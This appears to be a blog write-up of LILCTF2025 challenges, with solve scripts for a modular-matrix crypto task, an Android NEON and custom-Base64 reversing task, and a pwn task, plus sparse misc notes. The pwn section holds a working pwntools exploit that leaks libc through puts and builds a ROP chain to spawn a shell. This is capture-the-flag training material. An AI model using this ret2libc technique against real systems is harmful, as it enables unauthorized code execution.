Crypto

from Crypto.Util.number import long_to_bytes

def legendre(a, p):
    ls = pow(a, (p - 1) // 2, p)
    return -1 if ls == p - 1 else ls

def sqrt_mod(a, p):
    if legendre(a, p) != 1: return 0
    if a == 0: return 0
    if p % 4 == 3: return pow(a, (p + 1) // 4, p)

    S, Q = 0, p - 1
    while Q % 2 == 0:
        S += 1
        Q //= 2

    z = 2
    while legendre(z, p) != -1: z += 1

    M, c, t, R = S, pow(z, Q, p), pow(a, Q, p), pow(a, (Q + 1) // 2, p)

    while t != 1:
        if t == 0: return 0

        i, temp_t = 0, t
        while temp_t != 1:
            temp_t = pow(temp_t, 2, p)
            i += 1
            if i == M: return 0

        b = pow(c, pow(2, M - i - 1, p - 1), p)
        M, c = i, (b * b) % p
        t, R = (t * c) % p, (R * b) % p

    return R

p = 9620154777088870694266521670168986508003314866222315790126552504304846236696183733266828489404860276326158191906907396234236947215466295418632056113826161
C = [[7062910478232783138765983170626687981202937184255408287607971780139482616525215270216675887321965798418829038273232695370210503086491228434856538620699645,7096268905956462643320137667780334763649635657732499491108171622164208662688609295607684620630301031789132814209784948222802930089030287484015336757787801],[7341430053606172329602911405905754386729224669425325419124733847060694853483825396200841609125574923525535532184467150746385826443392039086079562905059808,2557244298856087555500538499542298526800377681966907502518580724165363620170968463050152602083665991230143669519866828587671059318627542153367879596260872]]

c11, c12 = C[0][0], C[0][1]
c21, c22 = C[1][0], C[1][1]

tr = (c11 + c22) % p
det = (c11 * c22 - c12 * c21) % p

delta = (tr * tr - 4 * det) % p
sqrt_d = sqrt_mod(delta, p)

inv2 = pow(2, -1, p)
l1 = ((tr + sqrt_d) * inv2) % p
l2 = ((tr - sqrt_d) * inv2) % p

f1 = long_to_bytes(l1)
f2 = long_to_bytes(l2)

try: print(f"LILCTF{{{(f1 + f2).decode()}}}")
except: pass

try: print(f"LILCTF{{{(f2 + f1).decode()}}}")
except: pass

Misc

提前放出附件

LILCTF2025 WriteUp

LILCTF2025 WriteUp

LILCTF2025 WriteUp

v我50RMB

数据库的信息是webp导致保存下来的是截断的图片,但是实际服务器上储存的是png文件,通过抓包可以知道

LILCTF2025 WriteUp

LILCTF2025 WriteUp

PNG Master

LILCTF2025 WriteUp

文件尾藏了一个

LILCTF2025 WriteUp

RGB

LILCTF2025 WriteUp

binwalk

LILCTF2025 WriteUp

LILCTF2025 WriteUp

LILCTF2025 WriteUp

Re

ASM ASM

使用jadx打开apk文件,在AndroidManifest.xml中找到主页面work.pangbai.ez_asm_hahaha.MainActivity

LILCTF2025 WriteUp

发现程序的基本流程是对输入的字符串用check函数加密后,与KRD2c1XRSJL9e0fqCIbiyJrHW1bu0ZnTYJvYw1DM2RzPK1XIQJnN2ZfRMY4So09S进行对比校验,而check函数是在ez_asm_hahaha.so这个库中实现的

LILCTF2025 WriteUp

于是我们可以将ez_asm_hahaha.so提取出来,放入IDA进行逆向。

通过分析我们得知加密过程就是下面这一段。整个程序具体过程如下:

  1. 输入字符串必须是48字节长度
  2. 有一个变换过程,使用了NEON指令进行异或和表查找操作
  3. 接着有一个位操作的循环
  4. 最后进行Base64编码
  5. 目标输出是:"KRD2c1XRSJL9e0fqCIbiyJrHW1bu0ZnTYJvYw1DM2RzPK1XIQJnN2ZfRMY4So09S"

LILCTF2025 WriteUp

值得注意的是,这里的base64进行了换表

LILCTF2025 WriteUp

然后依照程序流程逆向实现一遍即可。

exp

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

const char base64[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ3456780129+/";

const uint8_t t[] = {0xD, 0xE, 0xF, 0xC, 0xB, 0xA, 9, 8, 6, 7, 5, 4, 2, 3, 1, 0};

char* decodeBase64(const char* input, int* output_len) {
    int len = strlen(input);
    int decode_table[256];

    memset(decode_table, -1, sizeof(decode_table));
    for (int i = 0; i < 64; i++) {
        decode_table[(unsigned char)base64[i]] = i;
    }

    char* result = malloc(3 * (len / 4) + 1);
    int out_pos = 0;

    for (int i = 0; i < len; i += 4) {
        int val = 0;
        for (int j = 0; j < 4; j++) {
            if (i + j < len && input[i + j] != '=') {
                val = (val << 6) | decode_table[(unsigned char)input[i + j]];
            } else {
                val = val << 6;
            }
        }

        result[out_pos++] = (val >> 16) & 0xFF;
        if (input[i + 2] != '=') {
            result[out_pos++] = (val >> 8) & 0xFF;
        }
        if (input[i + 3] != '=') {
            result[out_pos++] = val & 0xFF;
        }
    }

    result[out_pos] = '\0';
    *output_len = out_pos;
    return result;
}

void reverse_bit_operations(char* data, int len) {
    for (int j = 0; j < len; j += 3) {
        if (j + 2 < len) {

            uint8_t temp1 = data[j + 1];
            data[j + 1] = ((temp1 << 1) & 0xFE) | ((temp1 >> 7) & 0x01);

            uint8_t temp0 = data[j];
            data[j] = ((temp0 << 5) & 0xE0) | ((temp0 >> 3) & 0x1F);
        }
    }
}

void reverse_neon_transform(uint8_t* data) {
    uint8_t v10_states[4][16];

    memcpy(v10_states[0], t, 16);

    for (int i = 0; i < 3; i++) {
        memcpy(v10_states[i + 1], v10_states[i], 16);
        for (int k = 0; k < 16; k++) {
            v10_states[i + 1][k] ^= i;
        }
    }

    for (int i = 2; i >= 0; i--) {
        uint8_t* current_v10 = v10_states[i];

        for (int j = 0; j < 16; j++) {
            data[16 * i + j] ^= current_v10[j];
        }

        uint8_t temp_block[16];
        memcpy(temp_block, &data[16 * i], 16);

        for (int j = 0; j < 16; j++) {
            data[16 * i + current_v10[j]] = temp_block[j];
        }
    }
}

int main() {
    const char* target = "KRD2c1XRSJL9e0fqCIbiyJrHW1bu0ZnTYJvYw1DM2RzPK1XIQJnN2ZfRMY4So09S";

    printf("开始逆向分析...\n");
    printf("目标字符串: %s\n", target);

    int decoded_len;
    char* decoded = decodeBase64(target, &decoded_len);
    printf("Base64解码后长度: %d\n", decoded_len);

    printf("解码后的十六进制数据:\n");
    for (int i = 0; i < decoded_len; i++) {
        printf("%02X ", (unsigned char)decoded[i]);
        if ((i + 1) % 16 == 0) printf("\n");
    }
    printf("\n");

    printf("\n逆向位操作...\n");
    reverse_bit_operations(decoded, decoded_len);

    printf("逆向位操作后的十六进制数据:\n");
    for (int i = 0; i < decoded_len; i++) {
        printf("%02X ", (unsigned char)decoded[i]);
        if ((i + 1) % 16 == 0) printf("\n");
    }
    printf("\n");

    printf("\n逆向NEON变换...\n");
    if (decoded_len >= 48) {
        reverse_neon_transform((uint8_t*)decoded);

        printf("逆向NEON变换后的十六进制数据:\n");
        for (int i = 0; i < 48; i++) {
            printf("%02X ", (unsigned char)decoded[i]);
            if ((i + 1) % 16 == 0) printf("\n");
        }
        printf("\n");

        printf("可能的FLAG (ASCII): ");
        for (int i = 0; i < 48; i++) {
            if (decoded[i] >= 32 && decoded[i] <= 126) {
                printf("%c", decoded[i]);
            } else {
                printf("\\x%02X", (unsigned char)decoded[i]);
            }
        }
    }

    free(decoded);
    return 0;
}

Pwn

签到

利用puts泄露出全局libc地址,构造ROP执行system("/bin/sh")

from pwn import *

context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]
context.os = "linux"
context.arch = "amd64"

elf = ELF("./pwn")
libc = ELF("./libc.so.6")

p = process("./pwn")
# p = remote("challenge.xinshi.fun", 49977)
pop_rdi = 0x0000000000401176
payload = (
    b"A" * 0x70
    + p64(elf.bss() + 0x200)
    + p64(pop_rdi)
    + p64(elf.got["puts"])
    + p64(elf.plt["puts"])
    + p64(elf.sym["main"])
)
# gdb.attach(p)
p.sendlineafter(b"What's your name?\n", payload)
puts_addr = u64(p.recvline().strip().ljust(8, b"\x00"))
log.success(f"puts: {hex(puts_addr)}")
libc.address = puts_addr - libc.sym["puts"]

payload = (
    b"A" * 0x70
    + p64(elf.bss() + 0x200)
    + p64(libc.address + 0x0000000000029139)  # pop rax; ret;
    + p64(pop_rdi)
    + p64(libc.address + 0x00000000001d8678)
    + p64(libc.sym["system"])
)
p.sendlineafter(b"What's your name?\n", payload)
p.interactive()

0条评论

发表评论


验证码